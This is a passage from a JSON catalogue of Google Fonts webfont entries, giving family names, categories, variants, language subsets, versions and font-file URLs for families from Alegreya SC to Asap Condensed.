"http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZZc-rUxQqu2FXKD.ttf", "500italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4WEySK-UEGKDBz4.ttf", "700": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZYU_LUxQqu2FXKD.ttf", "700italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4Sk0SK-UEGKDBz4.ttf", "800": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZYI_7UxQqu2FXKD.ttf", "800italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4TU3SK-UEGKDBz4.ttf", "900": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZYs_rUxQqu2FXKD.ttf", "900italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4RE2SK-UEGKDBz4.ttf" } }, { "kind": "webfonts#webfont", "family": "Alegreya Sans", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUt9_-1phKLFgshYDvh6Vwt5TltuGdShm5bsg.ttf", "100italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUv9_-1phKLFgshYDvh6Vwt7V9V3G1WpGtLsgu7.ttf", "300": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5fFPmE18imdCqxI.ttf", "300italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VFE92jkVHuxKiBA.ttf", "regular": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUz9_-1phKLFgshYDvh6Vwt3V1nvEVXlm4.ttf", "italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUt9_-1phKLFgshYDvh6Vwt7V9tuGdShm5bsg.ttf", "500": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5alOmE18imdCqxI.ttf", "500italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VTE52jkVHuxKiBA.ttf", "700": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5eFImE18imdCqxI.ttf", "700italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VBEh2jkVHuxKiBA.ttf", "800": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5f1LmE18imdCqxI.ttf", "800italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VGEt2jkVHuxKiBA.ttf", "900": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5dlKmE18imdCqxI.ttf", "900italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VPEp2jkVHuxKiBA.ttf" } }, { "kind": "webfonts#webfont", "family": "Alegreya Sans SC", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Dipl8g5FPYtmMg.ttf", "100italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGl4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdlgRBH452Mvds.ttf", "300": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DuJH0iRrMYJ_K-4.ttf", "300italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdXiZhNaB6O-51OA.ttf", "regular": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGh4-RGJqfMvt7P8FUr0Q1j-Hf1Nk5v9ixALYs.ttf", "italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Bkxl8g5FPYtmMg.ttf", "500": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DrpG0iRrMYJ_K-4.ttf", "500italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdBidhNaB6O-51OA.ttf", "700": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DvJA0iRrMYJ_K-4.ttf", "700italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdTiFhNaB6O-51OA.ttf", "800": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1Du5D0iRrMYJ_K-4.ttf", "800italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdUiJhNaB6O-51OA.ttf", "900": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DspC0iRrMYJ_K-4.ttf", "900italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxddiNhNaB6O-51OA.ttf" } }, { "kind": "webfonts#webfont", "family": "Aleo", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "300": "http://fonts.gstatic.com/s/aleo/v3/c4mg1nF8G8_syKbr9DVDno985KM.ttf", "300italic": "http://fonts.gstatic.com/s/aleo/v3/c4mi1nF8G8_swAjxeDdJmq159KOnWA.ttf", "regular": "http://fonts.gstatic.com/s/aleo/v3/c4mv1nF8G8_s8ArD0D1ogoY.ttf", "italic": "http://fonts.gstatic.com/s/aleo/v3/c4mh1nF8G8_swAjJ1B9tkoZl_Q.ttf", "700": "http://fonts.gstatic.com/s/aleo/v3/c4mg1nF8G8_syLbs9DVDno985KM.ttf", "700italic": "http://fonts.gstatic.com/s/aleo/v3/c4mi1nF8G8_swAjxaDBJmq159KOnWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Alex Brush", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alexbrush/v11/SZc83FzrJKuqFbwMKk6EtUL57DtOmCc.ttf" } }, { "kind": "webfonts#webfont", "family": "Alfa Slab One", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/alfaslabone/v9/6NUQ8FmMKwSEKjnm5-4v-4Jh6dVretWvYmE.ttf" } }, { "kind": "webfonts#webfont", "family": "Alice", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alice/v11/OpNCnoEEmtHa6FcJpA_chzJ0.ttf" } }, { "kind": "webfonts#webfont", "family": "Alike", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alike/v12/HI_EiYEYI6BIoEjBSZXAQ4-d.ttf" } }, { "kind": "webfonts#webfont", "family": "Alike Angular", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alikeangular/v10/3qTrojWunjGQtEBlIcwMbSoI3kM6bB7FKjE.ttf" } }, { "kind": "webfonts#webfont", "family": "Allan", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/allan/v12/ea8XadU7WuTxEtb2P9SF8nZE.ttf", "700": "http://fonts.gstatic.com/s/allan/v12/ea8aadU7WuTxEu5KEPCN2WpNgEKU.ttf" } }, { "kind": "webfonts#webfont", "family": "Allerta", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/allerta/v10/TwMO-IAHRlkbx940UnEdSQqO5uY.ttf" } }, { "kind": "webfonts#webfont", "family": "Allerta Stencil", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/allertastencil/v10/HTx0L209KT-LmIE9N7OR6eiycOeF-zz313DuvQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Allura", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/allura/v8/9oRPNYsQpS4zjuAPjAIXPtrrGA.ttf" } }, { "kind": "webfonts#webfont", "family": "Almarai", "category": "sans-serif", "variants": [ "300", "regular", "700", "800" ], "subsets": [ "arabic" ], "version": "v2", "lastModified": "2020-03-03", "files": { "300": "http://fonts.gstatic.com/s/almarai/v2/tssoApxBaigK_hnnS_anhnicoq72sXg.ttf", "regular": "http://fonts.gstatic.com/s/almarai/v2/tsstApxBaigK_hnnc1qPonC3vqc.ttf", "700": "http://fonts.gstatic.com/s/almarai/v2/tssoApxBaigK_hnnS-aghnicoq72sXg.ttf", "800": "http://fonts.gstatic.com/s/almarai/v2/tssoApxBaigK_hnnS_qjhnicoq72sXg.ttf" } }, { "kind": "webfonts#webfont", "family": "Almendra", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/almendra/v12/H4ckBXKAlMnTn0CskyY6wr-wg763.ttf", "italic": "http://fonts.gstatic.com/s/almendra/v12/H4ciBXKAlMnTn0CskxY4yLuShq63czE.ttf", "700": "http://fonts.gstatic.com/s/almendra/v12/H4cjBXKAlMnTn0Cskx6G7Zu4qKK-aihq.ttf", "700italic": "http://fonts.gstatic.com/s/almendra/v12/H4chBXKAlMnTn0CskxY48Ae9oqacbzhqDtg.ttf" } }, { "kind": "webfonts#webfont", "family": "Almendra Display", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/almendradisplay/v10/0FlPVOGWl1Sb4O3tETtADHRRlZhzXS_eTyer338.ttf" } }, { "kind": "webfonts#webfont", "family": "Almendra SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/almendrasc/v10/Iure6Yx284eebowr7hbyTZZJprVA4XQ0.ttf" } }, { "kind": "webfonts#webfont", "family": "Amarante", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/amarante/v7/xMQXuF1KTa6EvGx9bq-3C3rAmD-b.ttf" } }, { "kind": "webfonts#webfont", "family": "Amaranth", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/amaranth/v10/KtkuALODe433f0j1zPnCF9GqwnzW.ttf", "italic": "http://fonts.gstatic.com/s/amaranth/v10/KtkoALODe433f0j1zMnAHdWIx2zWD4I.ttf", "700": "http://fonts.gstatic.com/s/amaranth/v10/KtkpALODe433f0j1zMF-OPWi6WDfFpuc.ttf", "700italic": "http://fonts.gstatic.com/s/amaranth/v10/KtkrALODe433f0j1zMnAJWmn42T9E4ucRY8.ttf" } }, { "kind": "webfonts#webfont", "family": "Amatic SC", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "vietnamese", "hebrew", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/amaticsc/v13/TUZyzwprpvBS1izr_vO0De6ecZQf1A.ttf", "700": "http://fonts.gstatic.com/s/amaticsc/v13/TUZ3zwprpvBS1izr_vOMscG6eb8D3WTy-A.ttf" } }, { "kind": "webfonts#webfont", "family": "Amethysta", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/amethysta/v8/rP2Fp2K15kgb_F3ibfWIGDWCBl0O8Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Amiko", "category": "sans-serif", "variants": [ "regular", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/amiko/v4/WwkQxPq1DFK04tqlc17MMZgJ.ttf", "600": "http://fonts.gstatic.com/s/amiko/v4/WwkdxPq1DFK04uJ9XXrEGoQAUco5.ttf", "700": "http://fonts.gstatic.com/s/amiko/v4/WwkdxPq1DFK04uIZXHrEGoQAUco5.ttf" } }, { "kind": "webfonts#webfont", "family": "Amiri", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "arabic", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/amiri/v13/J7aRnpd8CGxBHqUpvrIw74NL.ttf", "italic": "http://fonts.gstatic.com/s/amiri/v13/J7afnpd8CGxBHpUrtLYS6pNLAjk.ttf", "700": "http://fonts.gstatic.com/s/amiri/v13/J7acnpd8CGxBHp2VkZY4xJ9CGyAa.ttf", "700italic": "http://fonts.gstatic.com/s/amiri/v13/J7aanpd8CGxBHpUrjAo9zptgHjAavCA.ttf" } }, { "kind": "webfonts#webfont", "family": "Amita", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/amita/v5/HhyaU5si9Om7PQlvAfSKEZZL.ttf", "700": "http://fonts.gstatic.com/s/amita/v5/HhyXU5si9Om7PTHTLtCCOopCTKkI.ttf" } }, { "kind": "webfonts#webfont", "family": "Anaheim", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/anaheim/v7/8vII7w042Wp87g4G0UTUEE5eK_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Andada", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/andada/v11/uK_y4riWaego3w9RCh0TMv6EXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Andika", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/andika/v11/mem_Ya6iyW-LwqgAbbwRWrwGVA.ttf" } }, { "kind": "webfonts#webfont", "family": "Angkor", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/angkor/v12/H4cmBXyAlsPdnlb-8iw-4Lqggw.ttf" } }, { "kind": "webfonts#webfont", "family": "Annie Use Your Telescope", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/annieuseyourtelescope/v10/daaLSS4tI2qYYl3Jq9s_Hu74xwktnlKxH6osGVGjlDfB3UUVZA.ttf" } }, { "kind": "webfonts#webfont", "family": "Anonymous Pro", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "greek", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2Bp2a15UIB7Un-bOeISG3pLlw89CH98Ko.ttf", "italic": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2fp2a15UIB7Un-bOeISG3pHl428AP44Kqr2Q.ttf", "700": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2cp2a15UIB7Un-bOeISG3pFuAT0CnW7KOywKo.ttf", "700italic": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2ap2a15UIB7Un-bOeISG3pHl4OTCzc6IG30KqB9Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Antic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/antic/v11/TuGfUVB8XY5DRaZLodgzydtk.ttf" } }, { "kind": "webfonts#webfont", "family": "Antic Didone", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/anticdidone/v8/RWmPoKKX6u8sp8fIWdnDKqDiqYsGBGBzCw.ttf" } }, { "kind": "webfonts#webfont", "family": "Antic Slab", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/anticslab/v8/bWt97fPFfRzkCa9Jlp6IWcJWXW5p5Qo.ttf" } }, { "kind": "webfonts#webfont", "family": "Anton", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/anton/v11/1Ptgg87LROyAm0K08i4gS7lu.ttf" } }, { "kind": "webfonts#webfont", "family": "Arapey", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arapey/v8/-W__XJn-UDDA2RC6Z9AcZkIzeg.ttf", "italic": "http://fonts.gstatic.com/s/arapey/v8/-W_9XJn-UDDA2RCKZdoYREcjeo0k.ttf" } }, { "kind": "webfonts#webfont", "family": "Arbutus", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arbutus/v9/NaPYcZ7dG_5J3poob9JtryO8fMU.ttf" } }, { "kind": "webfonts#webfont", "family": "Arbutus Slab", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arbutusslab/v8/oY1Z8e7OuLXkJGbXtr5ba7ZVa68dJlaFAQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Architects Daughter", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/architectsdaughter/v10/KtkxAKiDZI_td1Lkx62xHZHDtgO_Y-bvfY5q4szgE-Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Archivo", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/archivo/v6/k3kQo8UDI-1M0wlSTd7iL0nAMaM.ttf", "italic": "http://fonts.gstatic.com/s/archivo/v6/k3kSo8UDI-1M0wlSfdzoK2vFIaOV8A.ttf", "500": "http://fonts.gstatic.com/s/archivo/v6/k3kVo8UDI-1M0wlSdSrLC0HrLaqM6Q4.ttf", "500italic": "http://fonts.gstatic.com/s/archivo/v6/k3kXo8UDI-1M0wlSfdzQ30LhKYiJ-Q7m8w.ttf", "600": "http://fonts.gstatic.com/s/archivo/v6/k3kVo8UDI-1M0wlSdQbMC0HrLaqM6Q4.ttf", "600italic": "http://fonts.gstatic.com/s/archivo/v6/k3kXo8UDI-1M0wlSfdzQ80XhKYiJ-Q7m8w.ttf", "700": "http://fonts.gstatic.com/s/archivo/v6/k3kVo8UDI-1M0wlSdWLNC0HrLaqM6Q4.ttf", "700italic": "http://fonts.gstatic.com/s/archivo/v6/k3kXo8UDI-1M0wlSfdzQl0ThKYiJ-Q7m8w.ttf" } }, { "kind": "webfonts#webfont", "family": "Archivo Black", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/archivoblack/v9/HTxqL289NzCGg4MzN6KJ7eW6OYuP_x7yx3A.ttf" } }, { "kind": "webfonts#webfont", "family": "Archivo Narrow", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/archivonarrow/v11/tss0ApVBdCYD5Q7hcxTE1ArZ0Yb3g31S2s8p.ttf", "italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tss2ApVBdCYD5Q7hcxTE1ArZ0bb1iXlw398pJxk.ttf", "500": "http://fonts.gstatic.com/s/archivonarrow/v11/tss3ApVBdCYD5Q7hcxTE1ArZ0b4Dqlla8dMgPgBu.ttf", "500italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tssxApVBdCYD5Q7hcxTE1ArZ0bb1sY1Z-9cCOxBu_BM.ttf", "600": "http://fonts.gstatic.com/s/archivonarrow/v11/tss3ApVBdCYD5Q7hcxTE1ArZ0b4vrVla8dMgPgBu.ttf", "600italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tssxApVBdCYD5Q7hcxTE1ArZ0bb1saFe-9cCOxBu_BM.ttf", "700": "http://fonts.gstatic.com/s/archivonarrow/v11/tss3ApVBdCYD5Q7hcxTE1ArZ0b5LrFla8dMgPgBu.ttf", "700italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tssxApVBdCYD5Q7hcxTE1ArZ0bb1scVf-9cCOxBu_BM.ttf" } }, { "kind": "webfonts#webfont", "family": "Aref Ruqaa", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "arabic", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arefruqaa/v8/WwkbxPW1E165rajQKDulEIAiVNo5xNY.ttf", "700": "http://fonts.gstatic.com/s/arefruqaa/v8/WwkYxPW1E165rajQKDulKDwNcNIS2N_7Bdk.ttf" } }, { "kind": "webfonts#webfont", "family": "Arima Madurai", "category": "display", "variants": [ "100", "200", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "tamil", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t4IRoeKYORG0WNMgnC3seB1V3PqrGCch4Drg.ttf", "200": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1fHuipusfhcat2c.ttf", "300": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1ZXtipusfhcat2c.ttf", "regular": "http://fonts.gstatic.com/s/arimamadurai/v5/t5tmIRoeKYORG0WNMgnC3seB7TnFrpOHYh4.ttf", "500": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1c3sipusfhcat2c.ttf", "700": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1YXqipusfhcat2c.ttf", "800": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1Znpipusfhcat2c.ttf", "900": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1b3oipusfhcat2c.ttf" } }, { "kind": "webfonts#webfont", "family": "Arimo", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "hebrew", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/arimo/v13/P5sMzZCDf9_T_20eziBMjI-u.ttf", "italic": "http://fonts.gstatic.com/s/arimo/v13/P5sCzZCDf9_T_10cxCRuiZ-uydg.ttf", "700": "http://fonts.gstatic.com/s/arimo/v13/P5sBzZCDf9_T_1Wi4QREp5On0ME2.ttf", "700italic": "http://fonts.gstatic.com/s/arimo/v13/P5sHzZCDf9_T_10c_JhBrZeF1dE2PY4.ttf" } }, { "kind": "webfonts#webfont", "family": "Arizonia", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arizonia/v10/neIIzCemt4A5qa7mv6WGHK06UY30.ttf" } }, { "kind": "webfonts#webfont", "family": "Armata", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/armata/v11/gokvH63_HV5jQ-E9lD53Q2u_mQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Arsenal", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arsenal/v4/wXKrE3kQtZQ4pF3D11_WAewrhXY.ttf", "italic": "http://fonts.gstatic.com/s/arsenal/v4/wXKpE3kQtZQ4pF3D513cBc4ulXYrtA.ttf", "700": "http://fonts.gstatic.com/s/arsenal/v4/wXKuE3kQtZQ4pF3D7-P5JeQAmX8yrdk.ttf", "700italic": "http://fonts.gstatic.com/s/arsenal/v4/wXKsE3kQtZQ4pF3D513kueEKnV03vdnKjw.ttf" } }, { "kind": "webfonts#webfont", "family": "Artifika", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/artifika/v10/VEMyRoxzronptCuxu6Wt5jDtreOL.ttf" } }, { "kind": "webfonts#webfont", "family": "Arvo", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/arvo/v13/tDbD2oWUg0MKmSAa7Lzr7vs.ttf", "italic": "http://fonts.gstatic.com/s/arvo/v13/tDbN2oWUg0MKqSIQ6J7u_vvijQ.ttf", "700": "http://fonts.gstatic.com/s/arvo/v13/tDbM2oWUg0MKoZw1yLTA8vL7lAE.ttf", "700italic": "http://fonts.gstatic.com/s/arvo/v13/tDbO2oWUg0MKqSIoVLHK9tD-hAHkGg.ttf" } }, { "kind": "webfonts#webfont", "family": "Arya", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/arya/v5/ga6CawNG-HJd9Ub1-beqdFE.ttf", "700": "http://fonts.gstatic.com/s/arya/v5/ga6NawNG-HJdzfra3b-BaFg3dRE.ttf" } }, { "kind": "webfonts#webfont", "family": "Asap", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/asap/v11/KFOoCniXp96a-zwU4UROGzY.ttf", "italic": "http://fonts.gstatic.com/s/asap/v11/KFOmCniXp96ayz4e5WZLCzYlKw.ttf", "500": "http://fonts.gstatic.com/s/asap/v11/KFOnCniXp96aw8g9xUxlBz88MsA.ttf", "500italic": "http://fonts.gstatic.com/s/asap/v11/KFOlCniXp96ayz4mEU9vAx05IsDqlA.ttf", "600": "http://fonts.gstatic.com/s/asap/v11/KFOnCniXp96aw-Q6xUxlBz88MsA.ttf", "600italic": "http://fonts.gstatic.com/s/asap/v11/KFOlCniXp96ayz4mPUhvAx05IsDqlA.ttf", "700": "http://fonts.gstatic.com/s/asap/v11/KFOnCniXp96aw4A7xUxlBz88MsA.ttf", "700italic": "http://fonts.gstatic.com/s/asap/v11/KFOlCniXp96ayz4mWUlvAx05IsDqlA.ttf" } }, { "kind": "webfonts#webfont", "family": "Asap Condensed", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", 